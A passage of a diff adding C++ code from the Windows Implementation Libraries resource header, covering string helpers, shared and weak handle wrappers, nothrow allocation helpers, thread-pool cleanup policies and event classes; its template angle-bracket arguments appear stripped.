PCWSTR, but C++ doesn't allow us to express that cleanly + template + HRESULT str_build_nothrow(string_type& result, Strings... strings) + { + PCWSTR localStrings[] = { strings... }; + return str_build_nothrow(result, localStrings, sizeof...(Strings)); + } + } + + // Concatenate any number of strings together and store it in an automatically allocated string. If a string is present + // in the input buffer, the remaining strings are appended to it. + template + HRESULT str_concat_nothrow(string_type& buffer, const strings&... str) + { + static_assert(sizeof...(str) > 0, "attempting to concatenate no strings"); + return details::str_build_nothrow(buffer, details::string_maker::get(buffer), str_raw_ptr(str)...); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + // Concatenate any number of strings together and store it in an automatically allocated string. + template + string_type str_concat(arguments&&... args) + { + string_type result; + THROW_IF_FAILED(str_concat_nothrow(result, wistd::forward(args)...)); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + + // Concatenate any number of strings together and store it in an automatically allocated string. + template + string_type str_concat_failfast(arguments&&... args) + { + string_type result; + FAIL_FAST_IF_FAILED(str_concat_nothrow(result, wistd::forward(args)...)); + return result; + } + + namespace details + { + // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments + // that StringCchPrintfExW takes. + template + HRESULT str_vprintf_nothrow(string_type& result, _Printf_format_string_ PCWSTR pszFormat, va_list& argsVL) + { + size_t lengthRequiredWithoutNull = _vscwprintf(pszFormat, argsVL); + + string_maker maker; + RETURN_IF_FAILED(maker.make(nullptr, lengthRequiredWithoutNull)); + + auto buffer = maker.buffer(); + RETURN_IF_FAILED(::StringCchVPrintfExW(buffer, lengthRequiredWithoutNull + 1, nullptr, nullptr, STRSAFE_NULL_ON_FAILURE, pszFormat, argsVL)); + + result = maker.release(); + return S_OK; + } + } + + // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments + // that StringCchPrintfExW takes. + template + HRESULT str_printf_nothrow(string_type& result, _Printf_format_string_ PCWSTR pszFormat, ...) + { + va_list argsVL; + va_start(argsVL, pszFormat); + auto hr = details::str_vprintf_nothrow(result, pszFormat, argsVL); + va_end(argsVL); + return hr; + } + +#ifdef WIL_ENABLE_EXCEPTIONS + // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments + // that StringCchPrintfExW takes. + template + string_type str_printf(_Printf_format_string_ PCWSTR pszFormat, ...) + { + string_type result; + va_list argsVL; + va_start(argsVL, pszFormat); + auto hr = details::str_vprintf_nothrow(result, pszFormat, argsVL); + va_end(argsVL); + THROW_IF_FAILED(hr); + return result; + } +#endif // WIL_ENABLE_EXCEPTIONS + + // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments + // that StringCchPrintfExW takes. + template + string_type str_printf_failfast(_Printf_format_string_ PCWSTR pszFormat, ...) + { + string_type result; + va_list argsVL; + va_start(argsVL, pszFormat); + auto hr = details::str_vprintf_nothrow(result, pszFormat, argsVL); + va_end(argsVL); + FAIL_FAST_IF_FAILED(hr); + return result; + } + +} // namespace wil +#endif // __WIL_RESOURCE + + + // Hash deferral function for unique_any_t +#if (defined(_UNORDERED_SET_) || defined(_UNORDERED_MAP_)) && !defined(__WIL_RESOURCE_UNIQUE_HASH) +#define __WIL_RESOURCE_UNIQUE_HASH +namespace std +{ + template + struct hash> + { + size_t operator()(wil::unique_any_t const &val) const + { + return (hash::pointer>()(val.get())); + } + }; +} +#endif + +// shared_any and weak_any implementation using STL header +#if defined(_MEMORY_) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(WIL_RESOURCE_STL) && !defined(RESOURCE_SUPPRESS_STL) +#define WIL_RESOURCE_STL +namespace wil { + + template + class weak_any; + + /// @cond + namespace details + { + // This class provides the pointer storage behind the implementation of shared_any_t utilizing the given + // resource_policy. It is separate from shared_any_t to allow a type-specific specialization class to plug + // into the inheritance chain between shared_any_t and shared_storage. This allows classes like shared_event + // to be a shared_any formed class, but also expose methods like SetEvent directly. + + template + class shared_storage + { + protected: + typedef UniqueT unique_t; + typedef typename unique_t::policy policy; + typedef typename policy::pointer_storage pointer_storage; + typedef typename policy::pointer pointer; + typedef shared_storage base_storage; + + shared_storage() = default; + + explicit shared_storage(pointer_storage ptr) + { + if (policy::is_valid(ptr)) + { + m_ptr = std::make_shared(unique_t(ptr)); // unique_t on the stack to prevent leak on throw + } + } + + shared_storage(unique_t &&other) + { + if (other) + { + m_ptr = std::make_shared(wistd::move(other)); + } + } + + shared_storage(const shared_storage &other) WI_NOEXCEPT : + m_ptr(other.m_ptr) + { + } + + shared_storage& operator=(const shared_storage &other) WI_NOEXCEPT + { + m_ptr = other.m_ptr; + return *this; + } + + shared_storage(shared_storage &&other) WI_NOEXCEPT : + m_ptr(wistd::move(other.m_ptr)) + { + } + + shared_storage(std::shared_ptr const &ptr) : + m_ptr(ptr) + { + } + + void replace(shared_storage &&other) WI_NOEXCEPT + { + m_ptr = wistd::move(other.m_ptr); + } + + public: + bool is_valid() const WI_NOEXCEPT + { + return (m_ptr && m_ptr->is_valid()); + } + + void reset(pointer_storage ptr = policy::invalid_value()) + { + if (policy::is_valid(ptr)) + { + m_ptr = std::make_shared(unique_t(ptr)); // unique_t on the stack to prevent leak on throw + } + else + { + m_ptr = nullptr; + } + } + + void reset(unique_t &&other) + { + m_ptr = std::make_shared(wistd::move(other)); + } + + void reset(wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "reset(nullptr): valid only for handle types using nullptr as the invalid value"); + reset(); + } + + template ::value, int>::type = 0> + pointer get() const WI_NOEXCEPT + { + return (m_ptr ? m_ptr->get() : policy::invalid_value()); + } + + template ::value, int>::type = 0> + pointer_storage *addressof() + { + if (!m_ptr) + { + m_ptr = std::make_shared(); + } + return m_ptr->addressof(); + } + + long int use_count() const WI_NOEXCEPT + { + return m_ptr.use_count(); + } + + private: + template + friend class ::wil::weak_any; + + std::shared_ptr m_ptr; + }; + } + /// @endcond + + // This class when paired with shared_storage and an optional type-specific specialization class implements + // the same interface as STL's shared_ptr<> for resource handle types. It is both copyable and movable, supporting + // weak references and automatic closure of the handle upon release of the last shared_any. + + template + class shared_any_t : public storage_t + { + public: + typedef typename storage_t::policy policy; + typedef typename policy::pointer_storage pointer_storage; + typedef typename policy::pointer pointer; + typedef typename storage_t::unique_t unique_t; + + // default and forwarding constructor: forwards default, all 'explicit' and multi-arg constructors to the base class + template + explicit shared_any_t(args_t&&... args) : // should not be WI_NOEXCEPT (may forward to a throwing constructor) + storage_t(wistd::forward(args)...) + { + } + + shared_any_t(wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "nullptr constructor: valid only for handle types using nullptr as the invalid value"); + } + + shared_any_t(shared_any_t &&other) WI_NOEXCEPT : + storage_t(wistd::move(other)) + { + } + + shared_any_t(const shared_any_t &other) WI_NOEXCEPT : + storage_t(other) + { + } + + shared_any_t& operator=(shared_any_t &&other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + storage_t::replace(wistd::move(static_cast(other))); + } + return (*this); + } + + shared_any_t& operator=(const shared_any_t& other) WI_NOEXCEPT + { + storage_t::operator=(other); + return (*this); + } + + shared_any_t(unique_t &&other) : + storage_t(wistd::move(other)) + { + } + + shared_any_t& operator=(unique_t &&other) + { + storage_t::reset(wistd::move(other)); + return (*this); + } + + shared_any_t& operator=(wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::value, "nullptr assignment: valid only for handle types using nullptr as the invalid value"); + storage_t::reset(); + return (*this); + } + + void swap(shared_any_t &other) WI_NOEXCEPT + { + shared_any_t self(wistd::move(*this)); + operator=(wistd::move(other)); + other = wistd::move(self); + } + + explicit operator bool() const WI_NOEXCEPT + { + return storage_t::is_valid(); + } + + pointer_storage *put() + { + static_assert(wistd::is_same::value, "operator & is not available for this handle"); + storage_t::reset(); + return storage_t::addressof(); + } + + pointer_storage *operator&() + { + return put(); + } + + pointer get() const WI_NOEXCEPT + { + static_assert(!wistd::is_same::value, "get(): the raw handle value is not available for this resource class"); + return storage_t::get(); + } + + // The following functions are publicly exposed by their inclusion in the base class + + // void reset(pointer_storage ptr = policy::invalid_value()) WI_NOEXCEPT + // void reset(wistd::nullptr_t) WI_NOEXCEPT + // pointer_storage *addressof() WI_NOEXCEPT // (note: not exposed for opaque resource types) + }; + + template + void swap(shared_any_t& left, shared_any_t& right) WI_NOEXCEPT + { + left.swap(right); + } + + template + bool operator==(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT + { + return (left.get() == right.get()); + } + + template + bool operator==(const shared_any_t& left, wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !left; + } + + template + bool operator==(wistd::nullptr_t, const shared_any_t& right) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !right; + } + + template + bool operator!=(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT + { + return (!(left.get() == right.get())); + } + + template + bool operator!=(const shared_any_t& left, wistd::nullptr_t) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !!left; + } + + template + bool operator!=(wistd::nullptr_t, const shared_any_t& right) WI_NOEXCEPT + { + static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, "the resource class does not use nullptr as an invalid value"); + return !!right; + } + + template + bool operator<(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT + { + return (left.get() < right.get()); + } + + template + bool operator>=(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT + { + return (!(left < right)); + } + + template + bool operator>(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT + { + return (right < left); + } + + template + bool operator<=(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT + { + return (!(right < left)); + } + + + // This class provides weak_ptr<> support for shared_any<>, bringing the same weak reference counting and lock() acquire semantics + // to shared_any. + + template + class weak_any + { + public: + typedef SharedT shared_t; + + weak_any() WI_NOEXCEPT + { + } + + weak_any(const shared_t &other) WI_NOEXCEPT : + m_weakPtr(other.m_ptr) + { + } + + weak_any(const weak_any &other) WI_NOEXCEPT : + m_weakPtr(other.m_weakPtr) + { + } + + weak_any& operator=(const weak_any &right) WI_NOEXCEPT + { + m_weakPtr = right.m_weakPtr; + return (*this); + } + + weak_any& operator=(const shared_t &right) WI_NOEXCEPT + { + m_weakPtr = right.m_ptr; + return (*this); + } + + void reset() WI_NOEXCEPT + { + m_weakPtr.reset(); + } + + void swap(weak_any &other) WI_NOEXCEPT + { + m_weakPtr.swap(other.m_weakPtr); + } + + bool expired() const WI_NOEXCEPT + { + return m_weakPtr.expired(); + } + + shared_t lock() const WI_NOEXCEPT + { + return shared_t(m_weakPtr.lock()); + } + + private: + std::weak_ptr m_weakPtr; + }; + + template + void swap(weak_any& left, weak_any& right) WI_NOEXCEPT + { + left.swap(right); + } + + template + using shared_any = shared_any_t>; + +} // namespace wil +#endif + + +#if defined(WIL_RESOURCE_STL) && (defined(_UNORDERED_SET_) || defined(_UNORDERED_MAP_)) && !defined(__WIL_RESOURCE_SHARED_HASH) +#define __WIL_RESOURCE_SHARED_HASH +namespace std +{ + template + struct hash> + { + size_t operator()(wil::shared_any_t const &val) const + { + return (hash::pointer>()(val.get())); + } + }; +} +#endif + + +namespace wil +{ + +#if defined(__NOTHROW_T_DEFINED) && !defined(__WIL__NOTHROW_T_DEFINED) +#define __WIL__NOTHROW_T_DEFINED + /** Provides `std::make_unique()` semantics for resources allocated in a context that may not throw upon allocation failure. + `wil::make_unique_nothrow()` is identical to `std::make_unique()` except for the following: + * It returns `wistd::unique_ptr`, rather than `std::unique_ptr` + * It returns an empty (null) `wistd::unique_ptr` upon allocation failure, rather than throwing an exception + + Note that `wil::make_unique_nothrow()` is not marked WI_NOEXCEPT as it may be used to create an exception-based class that may throw in its constructor. + ~~~ + auto foo = wil::make_unique_nothrow(fooConstructorParam1, fooConstructorParam2); + if (foo) + { + foo->Bar(); + } + ~~~ + */ + template + inline typename wistd::enable_if::value, wistd::unique_ptr<_Ty> >::type make_unique_nothrow(_Types&&... _Args) + { + return (wistd::unique_ptr<_Ty>(new(std::nothrow) _Ty(wistd::forward<_Types>(_Args)...))); + } + + /** Provides `std::make_unique()` semantics for array resources allocated in a context that may not throw upon allocation failure. + See the overload of `wil::make_unique_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_nothrow(size); // the default constructor will be called on each Foo object + if (foos) + { + for (auto& elem : wil::make_range(foos.get(), size)) + { + elem.Bar(); + } + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent<_Ty>::value == 0, wistd::unique_ptr<_Ty> >::type make_unique_nothrow(size_t _Size) + { + typedef typename wistd::remove_extent<_Ty>::type _Elem; + return (wistd::unique_ptr<_Ty>(new(std::nothrow) _Elem[_Size]())); + } + + template + typename wistd::enable_if::value != 0, void>::type make_unique_nothrow(_Types&&...) = delete; + +#if !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE) + /** Provides `std::make_unique()` semantics for resources allocated in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_nothrow()` for non-array types for more details. + ~~~ + auto foo = wil::make_unique_failfast(fooConstructorParam1, fooConstructorParam2); + foo->Bar(); + ~~~ + */ + template + inline typename wistd::enable_if::value, wistd::unique_ptr<_Ty> >::type make_unique_failfast(_Types&&... _Args) + { +#pragma warning(suppress: 28193) // temporary must be inspected (it is within the called function) + return (wistd::unique_ptr<_Ty>(FAIL_FAST_IF_NULL_ALLOC(new(std::nothrow) _Ty(wistd::forward<_Types>(_Args)...)))); + } + + /** Provides `std::make_unique()` semantics for array resources allocated in a context that must fail fast upon allocation failure. + See the overload of `wil::make_unique_nothrow()` for non-array types for more details. + ~~~ + const size_t size = 42; + auto foos = wil::make_unique_nothrow(size); // the default constructor will be called on each Foo object + for (auto& elem : wil::make_range(foos.get(), size)) + { + elem.Bar(); + } + ~~~ + */ + template + inline typename wistd::enable_if::value && wistd::extent<_Ty>::value == 0, wistd::unique_ptr<_Ty> >::type make_unique_failfast(size_t _Size) + { + typedef typename wistd::remove_extent<_Ty>::type _Elem; +#pragma warning(suppress: 28193) // temporary must be inspected (it is within the called function) + return (wistd::unique_ptr<_Ty>(FAIL_FAST_IF_NULL_ALLOC(new(std::nothrow) _Elem[_Size]()))); + } + + template + typename wistd::enable_if::value != 0, void>::type make_unique_failfast(_Types&&...) = delete; +#endif // !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE) +#endif // __WIL__NOTHROW_T_DEFINED + +#if defined(_WINBASE_) && !defined(__WIL_WINBASE_) && !defined(WIL_KERNEL_MODE) +#define __WIL_WINBASE_ + /// @cond + namespace details + { + inline void __stdcall SetEvent(HANDLE h) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::SetEvent(h)); + } + + inline void __stdcall ResetEvent(HANDLE h) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::ResetEvent(h)); + } + + inline void __stdcall CloseHandle(HANDLE h) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::CloseHandle(h)); + } + + inline void __stdcall ReleaseSemaphore(_In_ HANDLE h) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::ReleaseSemaphore(h, 1, nullptr)); + } + + inline void __stdcall ReleaseMutex(_In_ HANDLE h) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::ReleaseMutex(h)); + } + + inline void __stdcall CloseTokenLinkedToken(_In_ TOKEN_LINKED_TOKEN* linkedToken) WI_NOEXCEPT + { + if (linkedToken->LinkedToken && (linkedToken->LinkedToken != INVALID_HANDLE_VALUE)) + { + __FAIL_FAST_ASSERT_WIN32_BOOL_FALSE__(::CloseHandle(linkedToken->LinkedToken)); + } + } + + enum class PendingCallbackCancellationBehavior + { + Cancel, + Wait, + NoWait, + }; + + template + struct DestroyThreadPoolWait + { + static void Destroy(_In_ PTP_WAIT threadPoolWait) WI_NOEXCEPT + { + ::SetThreadpoolWait(threadPoolWait, nullptr, nullptr); + ::WaitForThreadpoolWaitCallbacks(threadPoolWait, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel)); + ::CloseThreadpoolWait(threadPoolWait); + } + }; + + template <> + struct DestroyThreadPoolWait + { + static void Destroy(_In_ PTP_WAIT threadPoolWait) WI_NOEXCEPT + { + ::CloseThreadpoolWait(threadPoolWait); + } + }; + + template + struct DestroyThreadPoolWork + { + static void Destroy(_In_ PTP_WORK threadpoolWork) WI_NOEXCEPT + { + ::WaitForThreadpoolWorkCallbacks(threadpoolWork, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel)); + ::CloseThreadpoolWork(threadpoolWork); + } + }; + + template <> + struct DestroyThreadPoolWork + { + static void Destroy(_In_ PTP_WORK threadpoolWork) WI_NOEXCEPT + { + ::CloseThreadpoolWork(threadpoolWork); + } + }; + + // Non-RTL implementation for threadpool_t parameter of DestroyThreadPoolTimer<> + struct SystemThreadPoolMethods + { + static void WINAPI SetThreadpoolTimer(_Inout_ PTP_TIMER Timer, _In_opt_ PFILETIME DueTime, _In_ DWORD Period, _In_opt_ DWORD WindowLength) WI_NOEXCEPT + { + ::SetThreadpoolTimer(Timer, DueTime, Period, WindowLength); + } + static void WaitForThreadpoolTimerCallbacks(_Inout_ PTP_TIMER Timer, _In_ BOOL CancelPendingCallbacks) WI_NOEXCEPT + { + ::WaitForThreadpoolTimerCallbacks(Timer, CancelPendingCallbacks); + } + static void CloseThreadpoolTimer(_Inout_ PTP_TIMER Timer) WI_NOEXCEPT + { + ::CloseThreadpoolTimer(Timer); + } + }; + + // SetThreadpoolTimer(timer, nullptr, 0, 0) will cancel any pending callbacks, + // then CloseThreadpoolTimer will asynchronusly close the timer if a callback is running. + template + struct DestroyThreadPoolTimer + { + static void Destroy(_In_ PTP_TIMER threadpoolTimer) WI_NOEXCEPT + { + threadpool_t::SetThreadpoolTimer(threadpoolTimer, nullptr, 0, 0); +#pragma warning(suppress:4127) // conditional expression is constant + if (cancellationBehavior != PendingCallbackCancellationBehavior::NoWait) + { + threadpool_t::WaitForThreadpoolTimerCallbacks(threadpoolTimer, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel)); + } + threadpool_t::CloseThreadpoolTimer(threadpoolTimer); + } + }; + + // PendingCallbackCancellationBehavior::NoWait explicitly does not block waiting for + // callbacks when destructing. + template + struct DestroyThreadPoolTimer + { + static void Destroy(_In_ PTP_TIMER threadpoolTimer) WI_NOEXCEPT + { + threadpool_t::CloseThreadpoolTimer(threadpoolTimer); + } + }; + + template + struct DestroyThreadPoolIo + { + static void Destroy(_In_ PTP_IO threadpoolIo) WI_NOEXCEPT + { + ::WaitForThreadpoolIoCallbacks(threadpoolIo, (cancellationBehavior == PendingCallbackCancellationBehavior::Cancel)); + ::CloseThreadpoolIo(threadpoolIo); + } + }; + + template <> + struct DestroyThreadPoolIo + { + static void Destroy(_In_ PTP_IO threadpoolIo) WI_NOEXCEPT + { + ::CloseThreadpoolIo(threadpoolIo); + } + }; + + template + struct handle_invalid_resource_policy : resource_policy + { + __forceinline static bool is_valid(HANDLE ptr) WI_NOEXCEPT { return ((ptr != INVALID_HANDLE_VALUE) && (ptr != nullptr)); } + }; + + template + struct handle_null_resource_policy : resource_policy + { + __forceinline static bool is_valid(HANDLE ptr) WI_NOEXCEPT { return ((ptr != nullptr) && (ptr != INVALID_HANDLE_VALUE)); } + }; + + template + struct handle_null_only_resource_policy : resource_policy + { + __forceinline static bool is_valid(HANDLE ptr) WI_NOEXCEPT { return (ptr != nullptr); } + }; + + typedef resource_policy handle_resource_policy; + } + /// @endcond + + template + using unique_any_handle_invalid = unique_any_t>>; + + template + using unique_any_handle_null = unique_any_t>>; + + template + using unique_any_handle_null_only = unique_any_t>>; + + typedef unique_any_handle_invalid unique_hfile; + typedef unique_any_handle_null unique_handle; + typedef unique_any_handle_invalid unique_hfind; + typedef unique_any unique_hmodule; + typedef unique_any_handle_null_only unique_process_handle; + + typedef unique_struct unique_token_linked_token; + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) + typedef unique_any unique_sid; +#endif + + using unique_tool_help_snapshot = unique_hfile; + + typedef unique_any::Destroy> unique_threadpool_wait; + typedef unique_any::Destroy> unique_threadpool_wait_nocancel; + typedef unique_any::Destroy> unique_threadpool_wait_nowait; + typedef unique_any::Destroy> unique_threadpool_work; + typedef unique_any::Destroy> unique_threadpool_work_nocancel; + typedef unique_any::Destroy> unique_threadpool_work_nowait; + typedef unique_any::Destroy> unique_threadpool_timer; + typedef unique_any::Destroy> unique_threadpool_timer_nocancel; + typedef unique_any::Destroy> unique_threadpool_timer_nowait; + typedef unique_any::Destroy> unique_threadpool_io; + typedef unique_any::Destroy> unique_threadpool_io_nocancel; + typedef unique_any::Destroy> unique_threadpool_io_nowait; + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) + typedef unique_any_handle_invalid unique_hfind_change; +#endif + + typedef unique_any event_set_scope_exit; + typedef unique_any event_reset_scope_exit; + + // Guarantees a SetEvent on the given event handle when the returned object goes out of scope + // Note: call SetEvent early with the reset() method on the returned object or abort the call with the release() method + WI_NODISCARD inline event_set_scope_exit SetEvent_scope_exit(HANDLE hEvent) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT__(hEvent != nullptr); + return event_set_scope_exit(hEvent); + } + + // Guarantees a ResetEvent on the given event handle when the returned object goes out of scope + // Note: call ResetEvent early with the reset() method on the returned object or abort the call with the release() method + WI_NODISCARD inline event_reset_scope_exit ResetEvent_scope_exit(HANDLE hEvent) WI_NOEXCEPT + { + __FAIL_FAST_ASSERT__(hEvent != nullptr); + return event_reset_scope_exit(hEvent); + } + + // Checks to see if the given *manual reset* event is currently signaled. The event must not be an auto-reset event. + // Use when the event will only be set once (cancellation-style) or will only be reset by the polling thread + inline bool event_is_signaled(HANDLE hEvent) WI_NOEXCEPT + { + auto status = ::WaitForSingleObjectEx(hEvent, 0, FALSE); + // Fast fail will trip for wait failures, auto-reset events, or when the event is being both Set and Reset + // from a thread other than the polling thread (use event_wait directly for those cases). + __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || ((status == WAIT_OBJECT_0) && (WAIT_OBJECT_0 == ::WaitForSingleObjectEx(hEvent, 0, FALSE)))); + return (status == WAIT_OBJECT_0); + } + + // Waits on the given handle for the specified duration + inline bool handle_wait(HANDLE hEvent, DWORD dwMilliseconds = INFINITE) WI_NOEXCEPT + { + DWORD status = ::WaitForSingleObjectEx(hEvent, dwMilliseconds, FALSE); + __FAIL_FAST_ASSERT__((status == WAIT_TIMEOUT) || (status == WAIT_OBJECT_0)); + return (status == WAIT_OBJECT_0); + } + + enum class EventOptions + { + None = 0x0, + ManualReset = 0x1, + Signaled = 0x2 + }; + DEFINE_ENUM_FLAG_OPERATORS(EventOptions); + + template + class event_t : public storage_t + { + public: + // forward all base class constructors... + template + explicit event_t(args_t&&... args) WI_NOEXCEPT : storage_t(wistd::forward(args)...) {} + + // HRESULT or void error handling... + typedef typename err_policy::result result; + + // Exception-based constructor to create an unnamed event + event_t(EventOptions options) + { + static_assert(wistd::is_same::value, "this constructor requires exceptions or fail fast; use the create method"); + create(options); + } + + void ResetEvent() const WI_NOEXCEPT + { + details::ResetEvent(storage_t::get()); + } + + void SetEvent() const WI_NOEXCEPT + { + details::SetEvent(storage_t::get()); + } + + // Guarantees a SetEvent on the given event handle when the returned object goes out of scope + // Note: call SetEvent early with the reset() method on the returned object or abort the call with the release() method + WI_NODISCARD event_set_scope_exit SetEvent_scope_exit() const WI_NOEXCEPT + { + return wil::SetEvent_scope_exit(storage_t::get()); + } + + // Guarantees a ResetEvent on the given event handle when the returned object goes out of scope + // Note: call ResetEvent early with the reset() method on the returned object or abort the call with the release() method + WI_NODISCARD event_reset_scope_exit ResetEvent_scope_exit() const WI_NOEXCEPT + { + return wil::ResetEvent_scope_exit(storage_t::get()); + } + + // Checks if a *manual reset* event is currently signaled. The event must not be an auto-reset event. + // Use when the event will only be set once (cancellation-style) or will only be reset by the polling thread + bool is_signaled() const WI_NOEXCEPT + { + return wil::event_is_signaled(storage_t::get()); + } + + // Basic WaitForSingleObject on the event handle with the given timeout + bool wait(DWORD dwMilliseconds = INFINITE) const WI_NOEXCEPT + { + return wil::handle_wait(storage_t::get(), dwMilliseconds); + } + + // Tries to create a named event -- returns false if unable to do so (gle may still be inspected with return=false) + bool try_create(EventOptions options, PCWSTR name, _In_opt_ LPSECURITY_ATTRIBUTES pSecurity = nullptr, _Out_opt_ bool *pAlreadyExists = nullptr) + { + auto handle = ::CreateEventExW(pSecurity, name, (WI_IsFlagSet(options, EventOptions::ManualReset) ? CREATE_EVENT_MANUAL_RESET : 0) | (WI_IsFlagSet(options, EventOptions::Signaled) ? CREATE_EVENT_INITIAL_SET : 0), EVENT_ALL_ACCESS); + if (!handle) + { + assign_to_opt_param(pAlreadyExists, false); + return false; + } + assign_to_opt_param(pAlreadyExists, (::GetLastError() == ERROR_ALREADY_EXISTS)); + storage_t::reset(handle); + return true; + } + + // Returns HRESULT for unique_event_nothrow, void with exceptions for shared_event and unique_event + result create(EventOptions options = EventOptions::None, PCWSTR name = nullptr, _In_opt_ LPSECURITY_ATTRIBUTES pSecurity = nullptr, _Out_opt_ bool *pAlreadyExists = nullptr) + { + return err_policy::LastErrorIfFalse(try_create(options, name, pSecurity, pAlreadyExists)); + } + + // Tries to open the named event -- returns false if unable to do so (gle may still be inspected with return=false) + bool try_open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | EVENT_MODIFY_STATE, bool inheritHandle = false) + { + auto handle = ::OpenEventW(desiredAccess, inheritHandle, name); + if (handle == nullptr) + { + return false; + } + storage_t::reset(handle); + return true; + } + + // Returns HRESULT for unique_event_nothrow, void with exceptions for shared_event and unique_event + result open(_In_ PCWSTR name, DWORD desiredAccess = SYNCHRONIZE | EVENT_MODIFY_STATE, bool inheritHandle = false) + { + return err_policy::LastErrorIfFalse(try_open(name, desiredAccess, inheritHandle)); + } + }; + + typedef unique_any_t, err_returncode_policy>> unique_event_nothrow; + typedef unique_any_t, err_failfast_policy>> unique_event_failfast; +#ifdef WIL_ENABLE_EXCEPTIONS + typedef unique_any_t, err_exception_policy>> unique_event; +#endif + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && (_WIN32_WINNT >= _WIN32_WINNT_WIN7) + enum class SlimEventType + { + AutoReset, + ManualReset, + }; + + /** A lean and mean event class. + This class provides a very similar API to `wil::unique_event` but doesn't require a kernel object. + + The two variants of this class are: + - `wil::slim_event_auto_reset` + - `wil::slim_event_manual_reset` + + In addition, `wil::slim_event_auto_reset` has the alias `wil::slim_event`. + + Some key differences to `wil::unique_event` include: + - There is no 'create()' function, as initialization occurs in the constructor and can't fail. + - The move functions have been deleted. + - For auto-reset events, the `is_signaled()` function doesn't reset the event. (Use `ResetEvent()` instead.) + - The `ResetEvent()` function returns the previous state of the event. + - To create a manual reset event, use `wil::slim_event_manual_reset'. + ~~~~ + wil::slim_event finished; + std::thread doStuff([&finished] () { + Sleep(10); + finished.SetEvent(); + }); + finished.wait(); + + std::shared_ptr CreateSharedEvent(bool startSignaled) + { + return std::make_shared(startSignaled); + } + ~~~~ */ + template + class slim_event_t + { + public: + slim_event_t() WI_NOEXCEPT = default; + + slim_event_t(bool isSignaled) WI_NOEXCEPT : + m_isSignaled(isSignaled ? TRUE : FALSE) + { + } + + // Cannot change memory location. + slim_event_t(const slim_event_t&) = delete; + slim_event_t(slim_event_t&&) = delete; + slim_event_t& operator=(const slim_event_t&) = delete; + slim_event_t& operator=(slim_event_t&&) = delete; + + // Returns the previous state of the event. + bool ResetEvent() WI_NOEXCEPT + { + return !!InterlockedExchange(&m_isSignaled, FALSE); + } + + void SetEvent() WI_NOEXCEPT + { + // FYI: 'WakeByAddress*' invokes a full memory barrier. + WriteRelease(&m_isSignaled, TRUE); + + #pragma warning(suppress:4127) // conditional expression is constant + if (Type == SlimEventType::AutoReset) + { + WakeByAddressSingle(&m_isSignaled); + } + else + { + WakeByAddressAll(&m_isSignaled); + } + } + + // Checks if the event is currently signaled. + // Note: Unlike Win32 auto-reset event objects, this will not reset the event. + bool is_signaled() const WI_NOEXCEPT + { + return !!ReadAcquire(&m_isSignaled); + } + + bool wait(DWORD timeoutMiliseconds) WI_NOEXCEPT + { + if (timeoutMiliseconds == 0) + { + return TryAcquireEvent(); + } + else if (timeoutMiliseconds == INFINITE) + { + return wait(); + } + + UINT64 startTime; + QueryUnbiasedInterruptTime(&startTime); + + UINT64 elapsedTimeMilliseconds = 0; + + while (!TryAcquireEvent()) + { + if (elapsedTimeMilliseconds >= timeoutMiliseconds) + { + return false; + } + + DWORD newTimeout = static_cast(timeoutMiliseconds - elapsedTimeMilliseconds); + + if (!WaitForSignal(newTimeout)) + { + return false; + } + + UINT64 currTime; + QueryUnbiasedInterruptTime(&currTime); + + elapsedTimeMilliseconds = (currTime - startTime) / (10 * 1000); + } + + return true; + } + + bool wait() WI_NOEXCEPT + { + while (!TryAcquireEvent()) + { + if (!WaitForSignal(INFINITE)) + { + return false; + } + } + + return true; + } + + private: + bool TryAcquireEvent() WI_NOEXCEPT + { + #pragma warning(suppress:4127) // conditional expression is constant + if (Type == 